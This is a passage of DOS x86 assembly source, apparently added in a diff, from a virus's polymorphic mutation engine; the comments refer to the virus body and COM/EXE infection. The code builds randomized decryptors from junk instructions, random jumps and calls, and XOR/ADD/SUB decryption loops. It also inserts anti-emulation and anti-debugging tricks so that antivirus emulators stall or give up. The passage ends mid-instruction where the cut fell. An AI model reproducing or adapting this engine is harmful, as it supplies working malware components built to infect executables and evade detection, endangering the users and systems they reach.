+@@Instruccion1byte: + CMP BYTE PTR [DI-01], 66h ; If 32 bit opcode, eliminate it + JNZ @@DHHDS + DEC DI + @@DHHDS: CALL Aleatorio ; Get a random word + TEST AL, 0C0h ; Zero Flag with 25% of probability + JZ @@INCDEC ; If Zero Flag, jump here +@@DeTodo: MOV BH, 08h ;Number of garbage one-byte instructions + OR CL, CL ; Are we going to use AX for garbage? + JNZ @@Salxto01 ; If not, avoid next instruction + ADD BH, 08h ; Add quantity of one-byte instruction + ; that use AX + @@Salxto01: AND AX, 007Fh ; Get a random number between 0 and 7Fh + DIV BH ; Get a random number between 0 and BH + MOV AL, AH ; Put it on AL + MOV BX, Offset BasuraNoBanderas - 200h ; Get the random + XLAT ; instruction + STOSB ; Store it + RET ; Return +;; Construct a INC or a DEC instruction +@@INCDEC: AND AL, 08h ; Get random 0 or 8 + ADD AL, CL ; Set register + ADD AL, 40h ; Convert to INC/DEC + STOSB ; Store it + @@Salir: RET ; Return +;; Construct a JMP (non-zero displacement random unconditional jump with gar- +;; bage) or a CALL routine. +@@SaltoAleatorio: + CMP BYTE PTR [PrimerByte-200h], 0 ; If first instruction + JZ @@Salir ; on the decryptor, exit + CMP BYTE PTR [EstoyDentro-200h], 01 ; If it is inside ano- + JZ @@Salir ; ther CALL, exit + MOV BYTE PTR [EstoyDentro-200h], 01 ;Put "I'm inside" flag + CALL Aleatorio + AND AL, 02 ; Get a random 0 or 2 in AL + ADD AL, 0E9h ; Construct a 8/16 bits opcode + STOSB ; Store it + CALL SioNo ; Aleatory zero flag + JZ @@CallAleatorio ; If zero flag, construct a CALL + MOV BL, AL ; Save AL on BL + @@KKKKSK: CALL Aleatorio ; Get an aleatory number between + AND AX, 0007h ; 1 and 7 + JZ @@KKKKSK + CMP BL, 0E9h ; If 16 bit jump, store word + JZ @@Salhhh + STOSB ; If 8 bit jump, store byte + JMP @@Saliii + @@Salhhh: STOSW + @@Saliii: MOV CX, AX ; Put displacement in CX + @@Saljjj: CALL Aleatorio ; Insert CX random bytes + STOSB + LOOP @@Saljjj + RET ; Return +;; Construct a random CALL +@@CallAleatorio: + CMP BYTE PTR [NumeroCALLs-200h], 0 ; Check if a CALL was + ; constructed before + JZ @@MMDKKC ; If not, jump and continue + CALL MiraSiPrimerDes ;Check if it is the second de- + ; cryptor (in order of execu- + ; tion) + JZ @@SaltaSigue ; If it is, jump and continue + ; Here if it is the first decryptor + CMP BYTE PTR [LoopYaEsta-200h], 1 ; Was performed the de- + ; cryption LOOP? + JNZ @@MMDKKC ; If not, jump +; Here to use a constructed CALL. They could be inter-decryptor CALLs. + @@SaltaSigue: PUSH AX ; Save AX + CALL Aleatorio ; Get Zero Flag with 1/4 of probability + AND AX, 0003h + POP AX + JNZ @@MMDKKC + DEC DI ; Eliminate JMP opcode + MOV AL, 0E8h ; Put CALL opcode + STOSB + LEA CX, [DI+02] ; Save after-CALL address in CX + PUSH BX ; Save BX + @@MMDKKC2: CALL Aleatorio + AND AX, 0007h ; Get a random AX between 0 and 7 + CMP AL, [NumeroCALLs-200h] ; Check if it is greater than + ;the number of constructed CALLs + JAE @@MMDKKC2 ; If it overpasses it or it's equal, + ; get another number + ROL AX, 1 ; Multiply number by two + MOV BX, AX ; Get address of constructed CALL + ADD BX, Offset DirecCALLs-200h + MOV AX, [BX] ; Get CALL address in AX + SUB AX, CX ; Get displacement in AX + STOSW ; Store CALL displacement + POP BX ; Restore BX and return + RET +;; Here to generate a random CALL + @@MMDKKC: PUSH DI ; Save DI + TEST AL, 02h ; Check if JMP 8 bits or JMP 16 bits + MOV AL, 0 + JNZ @@Salccc ; Jump if 8 bits + STOSB ; Store a byte with value 0 + @@Salccc: STOSB ; " " " " " " + CMP BYTE PTR [NumeroCALLs-200h], 08h ; Check if the number + ;of constructed CALLs is 8 + JZ @@OtraVez32 ;If there are 8 constructed CALLs, jump + ; and don't store its address + INC BYTE PTR [NumeroCALLs-200h] ; Increase number of CALLs + PUSH BX ; Save BX + XOR BH, BH ; Get the address where the address of + MOV BL, BYTE PTR [NumeroCALLs-200h] ; this CALL will be + DEC BX ; stored... + ROL BX, 1 + ADD BX, Offset DirecCALLs-200h + MOV [BX], DI ; ...and store it. + POP BX ; Restore BX + @@OtraVez32: CALL Aleatorio ; Get a random AX between 1 and 3 + AND AX, 0003 + JZ @@OtraVez32 + @@Loopccc: PUSH AX ; Save AX + MOV BX, DI + @@truus: PUSH BX + CALL HazBasuraAleatoria2 ; Generate a random instruction. + ; "I'm inside" flag is set, so a CALL can't be + ; generated + POP BX + CMP BX, DI + JZ @@truus + POP AX ; Restore AX + DEC AX ; Repeat AX times + JNZ @@Loopccc + @@Salddd: MOV AL, 0C3h ; Insert a "RET" + STOSB + POP SI ; Restore saved DI in SI + LEA AX, [SI+02] ; Load in AX the address where the displa- + ; cement will be stored + CMP BYTE PTR [SI-01], 0E9h ;Check if it is a JMP of 16 bit + PUSHF ; Save flags + JZ @@Saleee ; If it is, jump + DEC AX ; Decrement AX to get the address for JMPs + ; of 8 bits + @@Saleee: MOV CX, DI ; Get in CX the JMP displacement + SUB CX, AX + POPF ; Restore flags + JZ @@Salfff ; If it is a JMP of 16 bits, jump + MOV [SI], CL ; Save 8 bits displacement + JMP @@Salggg ; Continue + @@Salfff: MOV [SI], CX ; Save 16 bits displacement + INC SI + @@Salggg: INC SI ; Increase SI by 1 or 2 (depending on) + MOV AL, 0E8h ; Store CALL opcode + STOSB + MOV AX, SI ; Calculate address of calling + SUB AX, DI + DEC AX + DEC AX + STOSW ; Store it + RET ; Return +HazBasuraAleatoria2 ENDP + +;; Procedure to insert a basic anti-emulating trick +AntiEmulating PROC + CALL Aleatorio ; Get a Zero Flag with a 1/8 of probability + AND AH, 07 ;If Zero Flag, return. This is made to avoid + JZ @@Retorna ; putting an anti-emulating routine always, + ; and forcing to not have a "mark" of this + ; engine in its decryptors. + AND AL, 03 ; Get a random 1 to 3 + JZ AntiEmulating + + CMP AL, [AntiEmulacion-200h] ;Check if this number of rou- + ; tine was constructed before + JZ AntiEmulating ; If it was, get another random number + MOV [AntiEmulacion-200h], AL ;Put the number in this field + CMP AL, 2 ; Check trick number + JB @@Truco01 + JZ @@Truco03 +;; This routine constructs an anti-emulating portion of code. This generates +;; a big LOOP that it is executed in miliseconds, but takes a lot of time with +;; emulation (counter register has a big value). This forces to emulators to +;; "think" that it's an endless LOOP here. + @@Truco02: MOV CL, 08h ; Get an usable-for-garbage register + CALL ObtenRegistro + MOV DL, AL ; Put it on DL + @@OtraVez01: CALL Aleatorio ; Get a random number between 2000h and + AND AH, 7Fh ; 7FFFh + CMP AH, 20h + JB @@OtraVez01 + MOV CX, AX + PUSH DX + CALL Saslld ; Construct a MOV with the register DL + ; and the value CX + POP DX + MOV SI, DI ;Get address where the LOOP begins in DX + MOV AL, DL ; Put a PUSH Selected-Register + CALL Siono + JZ @@OtroPUSH + MOV AX, 0F0FFh ; Word-opcode PUSH + ADD AH, DL + STOSW + JMP @@Continue01 + @@OtroPUSH: ADD AL, 50h ; Byte-opcode PUSH + STOSB + @@Continue01: PUSH CX ; Save DX, CX and SI + PUSH DX + PUSH SI + CALL HazBasuraAleatoria + CALL HazBasuraAleatoria ;Construct a random set of instruc- + POP SI ;tions + POP DX + POP CX ; Restore DX, CX and SI + MOV AL, DL ; Put a POP Selected-Register + CALL Siono + JNZ @@OtroPOP + MOV AX, 0C08Fh ; Word-opcode POP + ADD AH, DL + STOSW + JMP @@Continue02 + @@OtroPOP: ADD AL, 58h ; Byte-opcode POP + STOSB + @@Continue02: CALL Siono + JZ @@OtroDEC + MOV AL, 48h ; Put a "DEC Selected-Register" + ADD AL, DL + STOSB + JMP @@Continue04 + @@OtroDEC: MOV AX, 0C8FFh ; Word-opcode DEC + ADD AH, DL + STOSW +@@Continue04: CALL HazBasuraSinBanderas ; Construct instructions that + ; don't modify checking flags + XOR CH, CH + CALL SioNo + SETNE CL + JZ @@OtroSalto + MOV AL, 75h ; Put a JNZ instruction to the beginning + STOSB ; of the LOOP + MOV AX, DI ; Calculate and store displacement + INC AX + @@Continue03: XCHG SI, AX + SUB AX, SI + JCXZ @@AntRetorna2 + STOSB + RET + @@AntRetorna2: STOSW + @@Retorna: RET ; Return + @@OtroSalto: MOV AX, 850Fh ; Put a 16 bits JNZ instruction + STOSW + LEA AX, [DI+2] + JMP @@Continue03 + +;; Another type of anti-emulating. This time is anti-debugging too. It pushes +;; a value and pops it, and then subtracts 2 to the stack pointer and pops the +;; value again in another register. If the registers are different, it jumps +;; to a random address, to fuck it :) + @@Truco03: CALL Aleatorio ; Get a random word in AX + AND AL, 07h ; Get a random register + CMP AL, 04h ; SP? + JZ @@Truco03 ; Then, repeat + PUSH AX ; Save register + CALL SioNo ; Aleatory Zero Flag + JZ @@JumpP001 ; If Zero Flag, put a word-opcode PUSH + ADD AL, 50h ; Convert to PUSH + STOSB ; Store it + JMP @@Continue100 + @@JumpP001: ADD AL, 0F0h ; Convert to PUSH + CBW + XCHG AH, AL + STOSW ; Store it + @@Continue100: CALL HazBasuraAleatoria ; Do garbage + POP AX ; Restore register + PUSH AX + CALL SioNo + JZ @@PonPOP2 + ADD AL, 58h ; Convert to POP + STOSB ; Store it + JMP @@Continue101 ; Continue + @@PonPOP2: MOV AH, 8Fh + XCHG AH, AL + ADD AH, 0C0h + STOSW + @@Continue101: CALL Aleatorio ; Get a random word in AX + AND AL, 03h ; Get a manner of subtracting 2 to SP + JZ @@PonSUB02 ; If AL=0, do "SUB SP,0002" + CMP AL, 02 + JB @@PonDECDEC ; If AL=1, do "DEC SP/DEC SP" + JZ @@PonADDFE ; If AL=2, do "ADD SP,FFFE" + ;; Do "ADD SP,-02" + @@PonADDFE2: MOV AL, 83h ; Opcode of signed 16 bits operation re- + ; duced to byte + STOSB ; Store it + MOV AX, 0FEC4h ; Store "ADD SP,-02" + STOSW + JMP @@Sigue ; Jump and continue + ;; Do "SUB SP,0002" + @@PonSUB02: MOV AX, 0EC81h ; Construct opcode for "SUB SP,xxxx" + STOSW ; Store it + MOV AX, 0002 ; Put value for subtract + STOSW ; Store it + JMP @@Sigue ; Jump and continue + ;; Do "DEC SP/DEC SP" + @@PonDECDEC: MOV AX, 4C4Ch ; Store "DEC SP" twice + STOSW + JMP @@Sigue ; Jump and continue + ;; Do "ADD SP,FFFE" + @@PonADDFE: MOV AX, 0C481h ; Construct "ADD SP,xxxx" + STOSW ; Store it + MOV AX, 0FFFEh ; Put value for add + STOSW ; Store it + @@Sigue: MOV CL, 08h ; Get a usable-for-garbage register + CALL ObtenRegistro + CMP AL, DL + JZ @@Sigue + MOV CL, AL ; Put it in CL + POP DX ; Get the saved register from stack + MOV AL, 58h ; Put a POP Garbage-Register + ADD AL, CL + STOSB + CALL SioNo ; Random Zero Flag + JZ @@PonCMP ; If Zero Flag, do "CMP" + ;; Do a "SUB Reg,Reg" + @@PonSUB: MOV AL, 2Bh ; Put "SUB" opcode in AL + JMP @@Sigue3 ; Jump and continue + @@PonCMP: MOV AL, 3Bh ; Put "CMP" opcode in AL + CALL SioNo ; Random Zero Flag + JZ @@Sigue2 ; If Zero Flag, jump + @@Sigue3: XCHG DL, CL ;Exchange registers (it is the same for + ; "CMP") + @@Sigue2: ROL DL, 3 ; Put register on bits 3,4,5 + MOV AH, 0C0h ; Activate register operation + OR AH, DL ; Mix register with AH + OR AH, CL ; Mix register to form an opcode + STOSW ; Store instruction + CALL HazBasuraSinBanderas ; Do garbage that doesn't affect + ; to comparement flags + CALL Siono ; JZ or JNZ? + SETE CL ; Set CL to 1 to do "JZ" + CALL SioNo ; jump 8 bits or jump 16 bits? + JZ @@SaltoGordo + MOV AL, 75h ; AL=opcode of "JNZ" + SUB AL, CL ; Make "JZ" if CL=1 + STOSB ; Store this instruction + OR CL, CL + JZ @@DoRandomDispl + @@OtraVez19: CALL Aleatorio + AND AX, 07h + JZ @@OtraVez19 + STOSB + JMP @@AJAJAJA +@@DoRandomDispl: + CALL Aleatorio + STOSB + RET ; Return + @@SaltoGordo: MOV AX, 850Fh + SUB AH, CL + STOSW + OR CL, CL + JZ @@Sigueiii + @@OtraVez20: CALL Aleatorio + AND AX, 0007 + JZ @@OtraVez20 + STOSW + @@AJAJAJA: MOV CX, AX + @@JAJAJAJ: CALL Aleatorio + STOSB + LOOP @@JAJAJAJ + RET + @@Sigueiii: CALL Aleatorio + STOSW + RET + +;; Another type. It just plays with the prefetch queue. +@@Truco01: CMP BYTE PTR [NoBasura-200h], 1 ; If there isn't garbage, + JZ AntiEmulating ; this won't go well, so + ; put another trick + CMP BYTE PTR [TipoEjec-200h], 1 ; If it's an EXE, store + JZ @@EsunEXE ; "CS:" + @@EsunCOM: CALL Aleatorio ; Get a random segment for + AND AL, 18h ; a COM and store it + ADD AL, 26h + DB 3Dh + @@EsunEXE: MOV AL, 2Eh ; Store "CS:" + STOSB + CALL SioNo ; Random Zero Flag + JZ @@Directo ; If Zero Flag, jump + ;; Write a registre + @@PorRegistro: CALL Aleatorio ; Get a random opcode + AND AL, 39h + MOV AH, 06h ; Put it as memory direct address + ; write + STOSW ; Store the opcode + MOV SI, DI ; Save DI in SI + STOSW ; Add 2 to DI + JMP @@PonDireccion ; Jump + @@Directo: CALL Aleatorio ; Get a random 80h-opcode ins- + AND AL, 3 ; truction (80h to 83h) + ADD AL, 80h + MOV DL, AL + AND AH, 38h + ADD AH, 6 ; Direct address to memory write + STOSW ; Store opcode + MOV SI, DI ; Save DI in SI + STOSW ; Add 2 to DI + CALL Aleatorio ; Get a random in AX + CMP DL, 81h ; Check if opcode is 81h + JNZ @@MeteByteX ; If not, put a byte + @@MeteWordX: STOSW ; Put a word, please :) + DB 3Ch + @@MeteByteX: STOSB ; Put a byte +@@PonDireccion: LEA AX, [DI+DededeMerde] ; Get the address of writing + ADD AX, [InicioVirus-200h+1+16h] ; Add delta-offset + MOV [SI], AX ; Put this in [SI] + MOV SI, DI ; Save DI to SI + @@OtraVez_2: PUSH SI ; Save SI + CALL HazBasuraAleatoria ; Do garbage + POP SI ; Restore SI + CMP SI, DI ; Check if DI remains equal + JZ @@OtraVez_2 ; If no garbage was inserted, try + ; again + RET ; Return +AntiEmulating ENDP + +;; Code to generate a call to a do-nothing function of an interrupt (it only +;; works constructiong the second decryptor - the first in order of creation) +PonInt PROC + CALL MiraSiPrimerDes ; Is it the second decryptor? + JNZ @@Salir ; If it isn't, exit + CALL Aleatorio ; Get a random AX + TEST AL, 0C0h ;Get Zero Flag with 1/4 of probability + JNZ @@Salir ; If not Zero Flag, exit + @@KKAS2: CALL Aleatorio + AND AX, 001Eh ; Get a random even AX between 0 and + ; 18h + JZ @@Pollas ; If AX=0, get a random function + CMP AL, 18h + JA @@KKAS2 + MOV SI, Offset FuncInterrup - 200h ;Put address where + ; functions and interrupts are stored in SI + ADD SI, AX ; Add AX to SI to get one of the stored + ; functions and interrupts + MOV AH, [SI] ; Get first byte in AH + @@KKAS: MOV AL, 0B4h ; Construct "MOV AH,xx" + STOSW ; Store instruction + MOV AL, 0CDh ; Construct "INT xx" + MOV AH, [SI+01] ; Get interrupt number in AH + STOSW ; Store instruction + @@Salir: RET ; Return + @@Pollas: CALL Aleatorio ; Get a random word in AX + JMP @@KKAS ; Jump and continue +PonInt ENDP + +;; Procedure to put the instruction that sets value to the counter register +PonContador PROC + MOV CX, [TamanyoContador-200h] ; Get counter in CX + MOV DL, [RegistroContador-200h] ; Get register counter in + ; DL + CMP DL, 4 + JNZ @@Sigue + CALL PonStack + JMP HazBasuraAleatoria + @@Sigue: TEST BP, 0080h ;Check if byte counter or word counter + JNZ @@ByteCont ; If byte counter, jump + SHR CX, 1 ; Convert to word counter +@@ByteCont: TEST BP, 0001h ; Do we increase or decrease the + ; counter in every loop of the decryp- + ; tor? + JZ @@RestaCont ; If we decrement it every loop, jump + NEG CX ;Get the inverse of CX to get an equal + ;count fowards, instead of backwards +@@RestaCont: CALL PonInstrucMOV ; Put a setting-value instruction + RET ; Return +PonContador ENDP + +;; Procedure to put the instruction that sets value to the index register +PonIndice PROC + MOV CX, [InicioVirus-200h+1+16h] ; Get initial address of + ; virus in file in CX + MOV DL, [RegistroIndice-200h] ; Get register in DL + TEST BP, 0002 ; Do we add a word to the in- + ; dex? + JZ @@Salto ; If not, jump + CALL Aleatorio ; get a random word + SUB CX, AX ; Subtract it from the initial address + MOV [SumaIndice-200h], AX ; Save it here + JMP @@Salto2 ; Continue + @@Salto: MOV WORD PTR [SumaIndice-200h],0 ;Put 0 in the add-to-in- + ; dex field + @@Salto2: ; CMP BYTE PTR [TipoDeDesencriptador-200h], 1 +; JZ @@CosaRara + CALL PonInstrucMOV ; Put the setting-value instruction + RET ; Return +;@@CosaRara: XOR AX, AX +; XCHG AX, [LongDesencrip-200h] +; PUSH AX +; CALL PonInstrucMOV +; POP [LongDesencrip-200h] +; RET +PonIndice ENDP + +;; Procedure to put the instruction that sets value to the key register for +;; decryption +PonEncriptador PROC + TEST BP, 0100h ; Do we decrypt using a key register? + JZ @@Salto1 ; If we don't, jump + @@OtraVez: CALL Aleatorio ; Get a random word in AX + OR AL, AL ; If the low byte is 0, repeat getting + JZ @@OtraVez + OR AH, AH ; If the high byte is 0, repeat + JZ @@OtraVez + MOV CX, AX ; Put it in CX + MOV DL, [RegistroEncriptado-200h] ; Get key register in DL + MOV [WordEncriptado-200h], AX ; Save key here + CALL PonInstrucMOV ; Put assignment in decryptor + RET ; return + @@Salto1: CALL Aleatorio ; Get a random word in AX + CALL PonStack ;Insert a stack instruction (if we're + ;going to use RET, RETF or any of them + ;to jump to virus body or next decryp- + ;tor + MOV [WordEncriptado-200h], AX ; Save decrypt key + RET ; Return +PonEncriptador ENDP + +;;; Initial execution values in a COM and in an EXE. This is used to construct +;;; assignments with XOR, SUB, etc. and to put indexed memory writes without +;;; danger +;;; For COM: +InicValoresCOM DW 0 ; AX + DW 00FFh ; CX + DW 0 ; DX + DW 0 ; BX + DW 0FFFEh ; SP + DW 091Ch ; BP + DW 0100h ; SI + DW 0FFFEh ; DI +;;; For EXE: +InicValoresEXE DW 0 ; AX + DW 00FFh ; CX + DW 0 ; DX + DW 0 ; BX + DW 0 ; SP + DW 091Ch ; BP + DW 200h ; SI + DW 0 ; DI + +;; This stores an assignment instruction. The value to assign is passed in CX +;; and the register in DL. the procedure can construct MOVs (two different ty- +;; pes of opcode), LEA or PUSH Value/POP Reg. Moreover, in the first decryptor +;; the values can be set by XOR, ADD or SUB, too. +PonInstrucMOV PROC + CALL HazBasuraAleatoria ; Do garbage + CALL PonStack ; Put stack instruction, if there's + ; any to put + CALL MiraSiPrimerDes ; First decryptor? + JZ Saslld ; If not, jump + @@KK: CALL Aleatorio ;Get a Zero Flag with 1/4 of proba- + AND AL, 03 ; bility + JZ Saslld ; If Zero Flag, jump to do normal + ; things :) + MOVZX BX, DL ; Put the register in BL + ROL BX, 1 ; Multiply by 2 and get the address + ADD BX, Offset InicValoresCOM-200h ;where the value of the + CMP BYTE PTR [TipoEjec-200h], 0 ; register initially (for + JZ @@Otros ; COM or EXE) is stored. + ADD BX, 0010h + @@Otros: CMP DL, 02 ; Check if register is DX (it will + ; contain the PSP segment) + JZ Saslld ; If it is, it has no known value, + ; so skip its use + CMP DL, 05 ; BP = 091Ch in DOS based systems, + JZ Saslld ; BP = 0912h in Win95 DOS systems + ; It has no exact value, so skip + + MOV BX, [BX] ; Get in BX the corresponding value + CMP AL, 02 ; AL was between 1 and 3 + JB @@PonXOR ; If 1, do XOR + JZ @@PonADD ; If 2, do ADD + ; If 3, do SUB + @@PonSUB: SUB BX, CX ; Subtract value to assign to initial + ; value + MOV AX, 0E881h ; Store "SUB" + @@Sigue: OR AH, DL ; Set register in opcode + STOSW ; Store instruction + MOV AX, BX ; Store got value + STOSW + RET ; Return + @@PonXOR: XOR BX, CX ; Calculate assignment for XOR + MOV AX, 0F081h ; Store "XOR" + JMP @@Sigue ; Jump + @@PonADD: XCHG BX, CX ; Calculate assignment for ADD + SUB BX, CX + MOV AX, 0C081h ; Store "ADD" + JMP @@Sigue ; Jump +;; Normal assignment (no weird anti-debugger/emulating assignments) + Saslld: CALL Aleatorio ; Get a random AX + AND AL, 03 ; Get AL between 1 and 3 + JZ Saslld + CMP AL, 02 + JB @@PonLea ; If 1, construct a LEA + JZ @@PonMOV ; If 2, construct a MOV + ; Construct a PUSH/POP + @@PonPUSH: MOV AL, 68h ; Store a direct value pushing opcode + STOSB + MOV AX, CX ; Store value to assign + STOSW + CALL HazBasuraAleatoria ; Do garbage + CALL SioNo ; Random Zero Flag + JZ @@Saslld2 ; If Zero Flag, use type I of PUSH opc. + MOV AH, DL ; Construct a two-byte POP opcode + OR AH, 0C0h + MOV AL, 8Fh + STOSW ; Insert it + RET ; return + @@Saslld2: MOV AL, DL ; Construct a one-byte POP opcode + OR AL, 58h + STOSB ; Store it + RET ; Return + ; Construct a MOV + @@PonMOV: CALL SioNo ; Random Zero Flag + JZ @@PonMOV2 ; If Zero Flag, do another type of MOV + MOV AL, DL ; Put register in AL + OR AL, 0B8h ; Convert it to MOV + STOSB ; Store it + JMP @@Salto ; Jump + @@PonMOV2: MOV AL, 0C7h ; MOV opcode + MOV AH, 0C0h ; Set register on + OR AH, DL ; Put register on data opcode + STOSW ; Store it + @@Salto: MOV AX, CX ; Store word for assignment + STOSW + RET ; return + ; construct a LEA + @@PonLEA: ROL DL, 3 ;Adapt register to bit fields in opcode + OR DL, 6 ; Set "direct memory address" on + MOV AL, 8Dh ; LEA opcode + MOV AH, DL ; Put converted DL like data opcode + STOSW ; Store it + JMP @@Salto ; Store assignment value +PonInstrucMOV ENDP + +;; A very used procedure to generate a random Zero Flag +SioNo PROC + PUSH AX ; Save AX + CALL Aleatorio ; Get a random word in AX + AND AL, 01 ; Check if even (Zero Flag) or odd (Non- + ; Zero Flag) + POP AX ; Restore AX + RET ; return with flag set on or off +SioNo ENDP + +;; Routine to construct the decrypt instruction +HazEncriptador PROC + MOV AX, BP ; Get in AL the decryption operation + AND AL, 18h + ROR AL, 3 + MOV BX, Offset OpcodesCriptado - 200h + XLAT ; Then, AL must be 31h, 01h or 29h (XOR, + ; ADD or SUB) + TEST BP, 0100h ; Check if the key is in a register + JZ @@NoEncripREG ; If not, jump + +;; Construct a decrypt instruction that uses a register to decrypt, for exam- +;; ple XOR [BX+75D4],AX +@@EncripREG: MOV DL, [RegistroEncriptado-200h] ; Get key register in DL + TEST BP, 0080h ;Check if decrypt must be done byte-to-byte + ;or word-to-word + JZ @@Salto001 ; If word-to-word, jump + CMP DL, 04 ; Is the key register a ?X type register? + JB @@Salto002 ; If it is, continue + AND BP, 0FEFFh ;If not, set "decrypt by register" off and + JMP @@NoEncripREG ;decrypt by direct value + @@Salto002: DEC AL ; Decrement opcode to get byte decryption + TEST BP, 0200h ; Are we going to use the high byte or the + ; low byte of the register? + JZ @@Salto001 ; If we're going to use the low byte, jump + OR DL, 04h ; Convert register to ?H + @@Salto001: STOSB ; Store opcode + ROL DL, 3 ; Adapt register to bit field on opcode + MOV BX, Offset TablaIndices - 200h ;Get the value to cons- + MOV AL, [RegistroIndice-200h] ; truct the second opcode + XLAT ; (the data opcode) using in + ; AL the index register + OR AL, DL ; Put register in opcode + TEST BP, 0002 ; Check if a word must be added to index + JZ @@Salto003 ; If not, jump + AND AL, 3Fh ; Set word adding to index on + OR AL, 80h + STOSB ; Store opcode + MOV AX, [SumaIndice-200h] ; Get word to add to index + STOSW ; Store it + RET ; return + @@Salto003: CMP BYTE PTR [RegistroIndice-200h], 05h ; Check if index + JNZ @@Salto004 ; Register is BP. If not, jump + STOSB ; Store opcode + XOR AL, AL ; Store an adding byte + @@Salto004: STOSB ; Store opcode/adding byte with value 0 + RET ; Return + +; Construct a decrypt instruction with direct use of a value (not a register), +; for example XOR WORD PTR [BX],435B +@@NoEncripREG: DEC AL ; Eliminate last bit (it was set on) + MOV AH, AL ; Put the opcode in AH + MOV AL, 80h ; Put opcode 80h in AL + TEST BP, 0080h ; Check if it's byte or word decryption + JNZ @@Salto010 ; If byte, jump + INC AL ; Convert to word opcode + @@Salto010: STOSB ; Store 80h or 81h (depending on) + MOV BX, Offset TablaIndices - 200h ;Get value of the index + MOV AL, [RegistroIndice-200h] ; register for the opcode + XLAT + OR AL, AH ; Set it in the data opcode + TEST BP, 0002 ; Check if a word will be added to index + JNZ @@Salto011 ; If it will be, jump + CMP BYTE PTR [RegistroIndice-200h], 05 ; Check if index is + ; BP + JZ @@Salto012 ; If it is, jump + STOSB ; Store data opcode and continue + JMP @@Sigue + @@Salto012: STOSB ; Store data opcode + XOR AL, AL ; Store byte to add (with value 0) + STOSB + JMP @@Sigue ; Continue + @@Salto011: AND AL, 3Fh ; Set "add word to index" on + OR AL, 80h + STOSB ; Store this second opcode + MOV AX, [SumaIndice-200h] ; Get word to be added in AX + STOSW ; Store it + @@Sigue: MOV AX, [WordEncriptado-200h] ; Get decryption key in AX + TEST BP, 0080h ; Decrypt by byte or word? + JNZ @@EncripByte ; If byte-to-byte decryption, jump + STOSW ; Store key word + RET ; Return + @@EncripByte: STOSB ; Store key byte + RET ; Return +HazEncriptador ENDP + +;; Procedure to add a set of instructions that modifies the counter one up or +;; one down, depending on flags in BP +ModificaContador PROC + MOV DL, [RegistroContador-200h] ;Get counter register in + CMP DL, 4 ;DL. If it's 4, do garbage + JZ HazBasuraAleatoria + TEST BP, 0001 ;Check if counter is going fowards + ;or backwards + JZ @@Resta ;If it goes backwards, then jump +@@Suma: CALL Aleatorio ; Get a random byte between 0 and 7 + AND AL, 07h ; in AL + JZ PonINCbyte ; If 0, put "INC Counter" + CMP AL, 02 + JB PonADDbyte ; If 1, put "ADD Counter,1" + JZ PonADDSUBbyte ; If 2, put "ADD C.,xxx/SUB C.,yyy" + CMP AL, 04 + JB PonSUBADDbyte ; If 3, put "SUB C.,xxx/ADD C.,yyy" + JZ PonSUBbyte ; If 4, put "SUB Counter,-1" + CMP AL, 06 + JB PonNOTNEG ;If 5, put "NOT Counter/NEG Counter" + JZ @@PonSUBDECbyte ;If 6, put "SUB C.,-2/DEC Counter" +; Put "DEC Counter/ADD Counter,2" +@@PonDECADDbyte: CALL PonDEC ; Store a DEC instruction + CALL HazBasuraAleatoria ; Do garbage + MOV DH, 02 ; Insert "ADD Counter,2" (value to + CALL PonADD ; add in DH) + RET ; Return +; Put "SUB Counter,-2/DEC Counter" +@@PonSUBDECbyte: MOV DH, 0FEh ; Insert a "SUB Counter,-2" + CALL PonSUB + CALL HazBasuraAleatoria ; Do garbage + CALL PonDEC ; Insert a "DEC Counter" + RET ; Return + +;; Here if register is decreased instead of increased +@@Resta: CMP BYTE PTR [NoPongasLOOP-200h], 1 + JZ @@Siggig1 + CMP DL, 01 ; Check if counter register is CX + JNZ @@Siggig1 ; If it isn't, jump + TEST BP, 6000h ; Check if we are going to use any of + ; the LOOP instructions or not + JZ @@Siggig1 ; If not, continue + RET ;Return (don't insert any counter ope- + ;ration) + @@Siggig1: CALL Aleatorio ;Get a random byte in AL between 0 and 7 + AND AL, 07 + JZ @@PonDECbyte ; If 0, put "DEC Counter" + CMP AL, 02 + JB @@PonADDbyte2 ; If 1, put "ADD Counter, -1" + JZ PonSUBADDbyte2 ; If 2, put "SUB C.,xxx/ADD C.,yyy" + CMP AL, 04 + JB PonADDSUBbyte2 ; If 3, put "ADD C.,xxx/SUB C.,yyy" + JZ PonSUBbyte2 ; If 4, put "SUB Counter,1" + CMP AL, 06 + JB @@PonNEGNOT ; If 5, put "NEG Counter/NOT Counter" + JZ @@PonADDADD ; If 6, put "ADD C.,xxx/ADD C.,yyy" +; Put "ADD C.,xxx/ADD C.,yyy" +@@PonSUBSUB: MOV AX, 0E881h ; Get SUB instruction + OR AH, DL ; Put register on opcode + STOSW ; Store opcode + XCHG AX, CX ; Save AX in CX (this is the opcode) + @@KKEC: CALL Aleatorio ; Get a random byte in AX + OR AX, AX ; If it's 0, repeat + JZ @@KKEC + STOSW ; Store it + CALL HazBasuraAleatoria ; Do garbage + XCHG AX, CX ; Put the last opcode in AX + STOSW ; Insert it + XCHG AX, CX ; Get the subtracted value + NEG AX ; Negate and increase to get a pair of + INC AX ; SUBs which decrements the counter at + STOSW ; last. Of course, insert this value + RET ; Return +; Put "ADD C.,xxx/ADD C.,xxx" +@@PonADDADD: MOV AX, 0C081h ; "ADD" opcode + OR AH, DL ; Add register + STOSW ; Store opcode + XCHG AX, CX ; Save opcode in CX + @@KKEC2: CALL Aleatorio ; Get a random value in AX + OR AX, AX ; If it is 0, repeat + JZ @@KKEC2 + STOSW ; Store this value + CALL HazBasuraAleatoria ; Do garbage + XCHG AX, CX ; Recover opcode + STOSW ; Insert it again + XCHG AX, CX ; Calculate value to subtract at last + NOT AX ; one to counter (with 2 adds) + STOSW ; Complete this instruction with this + RET ; value and return + +; Construct "DEC Counter" +@@PonDECbyte: CALL PonDEC ; Put a "DEC" + RET ; Return +; Construct "ADD Counter,-1" +@@PonADDbyte2: MOV DH, 0FFh ; Construct this instruction with a -1 + CALL PonADD ; to add to counter + RET ; Return +; Construct "SUB C.,xxx/ADD C.,yyy" +PonSUBADDbyte2: CALL Aleatorio ; Get a random byte between 0 and 7Eh + AND AL, 7Fh ; in AL + CMP AL, 7Fh + JZ PonSUBADDbyte2 + MOV DH, AL ; Insert a "SUB Counter," + CALL PonSUB + CALL HazBasuraAleatoria ; Do garbage + DEC DH ; Insert a "ADD Counter,-1" + CALL PonADD + RET ; Return +; Construct "ADD C.,xxx/SUB C.,yyy" +PonADDSUBbyte2: CALL Aleatorio ; Get a random in AX + AND AL, 7Fh ; Get a number between 0 and 7Eh + CMP AL, 7Fh + JZ PonADDSUBbyte2 + MOV 